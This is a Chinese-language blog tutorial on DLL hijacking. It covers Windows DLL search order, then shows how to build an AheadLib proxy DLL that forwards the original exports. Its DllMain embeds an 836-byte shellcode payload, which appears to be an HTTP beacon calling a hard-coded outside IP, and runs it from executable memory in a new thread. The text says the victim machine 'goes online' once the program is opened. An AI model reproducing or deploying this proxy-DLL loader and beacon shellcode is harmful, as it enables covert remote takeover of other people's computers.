什么是DLL

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

动态链接库加载顺序

(这是我cv的,要是不看这个我也不知道)

一、Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序:

  1. 进程对应的应用程序所在目录;
  2. 当前目录(Current Directory);
  3. 系统目录(通过 GetSystemDirectory 获取);
  4. 16位系统目录;
  5. Windows目录(通过 GetWindowsDirectory 获取);
  6. PATH环境变量中的各个目录;

例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

二、在Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

三、Windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

开始

首先随便找一个电脑上的程序,然后复制出他的一个dll文件。

1651845715910

放进AheadLib,选择点击生成。

1651845813568

然后会在当前目录生成一个cpp文件。

1651845763334

然后打开vs,新建Dll项目。

1651842960209

打开之后,将dllmain.cpp里的内容用刚刚生成的cpp覆盖掉,保留原来的头。

然后生成shellcode。

1651843892359

将生成的shellcode放到入口处。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:OpenVpn_Connect=fyvpnOrg.OpenVpn_Connect,@1")
#pragma comment(linker, "/EXPORT:OpenVpn_GetDrvState=fyvpnOrg.OpenVpn_GetDrvState,@2")
#pragma comment(linker, "/EXPORT:OpenVpn_GetIfaceCount=fyvpnOrg.OpenVpn_GetIfaceCount,@3")
#pragma comment(linker, "/EXPORT:OpenVpn_Init=fyvpnOrg.OpenVpn_Init,@4")
#pragma comment(linker, "/EXPORT:OpenVpn_IsNeedDisabledIface=fyvpnOrg.OpenVpn_IsNeedDisabledIface,@5")
#pragma comment(linker, "/EXPORT:OpenVpn_Release=fyvpnOrg.OpenVpn_Release,@6")
#pragma comment(linker, "/EXPORT:OpenVpn_Stop=fyvpnOrg.OpenVpn_Stop,@7")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{

    /* length: 836 bytes */
    unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xa6\xf8\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x4a\x6a\x39\x6f\x00\xa2\xad\x1c\xe9\x0c\x7c\xb8\xc9\x03\x42\xbf\x7b\x52\x45\x09\x92\xf6\x2b\x5c\x88\x34\xf7\xc4\x7e\xd9\xca\x48\xd3\xe6\xbe\x56\xb4\x9c\x3f\x52\x8f\xeb\x4d\x6a\x28\x16\x13\x26\xad\x7e\xfd\x77\xec\x1a\x2d\xc2\xf6\x74\x04\x15\x93\x92\xc1\xf7\x53\x76\xfc\xa9\x57\xdb\x22\x6f\x8b\xbe\x3b\xaa\x2a\x31\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x46\x75\x6e\x57\x65\x62\x50\x72\x6f\x64\x75\x63\x74\x73\x3b\x20\x49\x45\x30\x30\x30\x36\x5f\x76\x65\x72\x31\x3b\x45\x4e\x5f\x47\x42\x29\x0d\x0a\x00\x17\xdf\x62\x50\x0e\x7f\xf5\x4e\x01\xdd\xa1\xb1\x7d\x77\x1f\xaf\x0f\x86\x24\xbb\x25\x50\x44\x8d\xf4\xbe\x21\x31\xb6\xfc\xdc\x89\x3b\xb7\x64\x3c\x89\x54\x19\x06\xbf\x69\x05\xee\x4c\x04\x87\xae\x1b\x03\x5d\x71\x80\x3d\xe1\x36\xe0\x55\xd7\xeb\x8d\x8d\x3f\xce\x0a\x28\x93\xf8\xf0\x67\xf7\xd6\x1c\x54\xa5\xe1\x80\x0c\xdc\x67\x62\x85\x5e\x48\x92\x1b\x45\x12\x85\xc8\x84\x1e\x51\x89\xec\x8a\xfd\xe8\x74\x38\x52\xdb\x06\x97\x66\xec\xb5\xb4\x14\xbe\x63\x74\xe5\x37\x27\x8b\x65\x3c\x6f\xe4\x78\xf7\x00\x27\x41\x67\xf8\xb9\xb2\x43\x74\xb9\x08\xd1\x47\x69\xf8\x46\x8e\x99\x24\xc8\x43\x54\x46\x02\xc0\x87\x15\x10\x80\x7e\x50\x8e\xaa\xef\x54\xf6\x29\x06\x14\xbd\xbd\x7e\x43\xdb\x9c\x13\x99\x06\x64\x32\xa5\x7d\x06\x9c\x61\xbe\xf9\x84\xe7\x69\x34\xe0\xf4\xc4\xcd\xc9\x03\x4f\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x31\x31\x30\x2e\x34\x32\x2e\x32\x34\x36\x2e\x31\x33\x35\x00\x00\x00\x00\x06";
    void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);//使用win32的内存分配函数,进行内存分配,属性为读写可执行
    memcpy(exec, buf, sizeof(buf));//拷贝buf内容到内存里
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

1651844969271

然后点击生成,编译好之后,我们将他复制到原来的目录里,将原来的dll名字后加一个Org就行,就是AheadLib生成cpp时的那个原始dll名。

1651846040112

然后双击打开,机器就上线了。

1651847345486